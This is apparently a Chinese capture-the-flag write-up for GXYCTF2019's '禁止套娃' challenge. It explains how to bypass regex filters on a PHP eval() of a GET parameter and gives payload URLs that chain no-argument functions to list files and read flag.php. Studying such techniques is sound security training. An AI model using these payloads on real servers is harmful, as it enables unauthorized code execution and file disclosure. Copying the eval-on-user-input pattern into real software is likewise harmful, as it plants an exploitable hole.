[GXYCTF2019]禁止套娃 无参数RCE
题目里只有一句话,F12也看不到任何信息,尝试后台扫描,结果也是得不到任何信息。
使用Githack,扫到了有git源码泄漏。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { 过滤php协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析源码:
- GET方式传入exp参数,若满足条件,则将exp内容当做php代码来执行。
- 过滤了data/filter/php/phar伪协议,不能以伪协议直接读取文件。
- (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
- 正则匹配还过滤了et/na/info等关键字,导致get等很多函数用不了
- eval($_GET[‘exp’]); 典型的无参数RCE
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
当有如上的限制时,我们会发现我们使用参数则无法通过正则的校验。
/[^\W]+\((?R)?\)/
而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数
a(b(c()));
a();
但不允许
a('123');
这样一来,失去了参数,我们进行RCE的难度则会大幅上升。
既然getshell基本不可能,那么考虑读源码。看源码,flag应该就在flag.php。我们想办法读取
首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:
<?php
print_r(scandir('.'));
?>
但是要如何构造scandir('.')
,这里有个‘.’
直接传入就相当于还是传入一个参数,exp还是被过滤掉了,所以我们要想个其他的方法代替'.'
这里涉及到一个知识点:current(localeconv())
永远都是个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos()是current()的别名。pos(localeconv())
和current(localeconv())
的结果一样,都是表示'.'
所以这两个函数嵌套使用就是一个'.'
那么我们第一步就解决了:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
接下来就是如和读取到倒数第二个数组呢?
array_flip():交换数组中的键和值。
此时将键和值做了一下交换,下一步就是如何取出他的键。
array_rand():从数组中随机取出一个或多个单元
最后一个问题,如何读取flag.php的源码。
由于et被过滤掉了,所以不能使用file_get_contents(),但是可以市容readfile()或highlight_file()以及其别名函数show_source()。
有了以上的函数,我们就可以将这些函数组合起来读取flag了。
http://target.com/?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
http://target.com/?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
由于是使用array_rand()函数随机取出键值,所以可能需要多刷新几次才能取出flag.php
参考链接:
https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE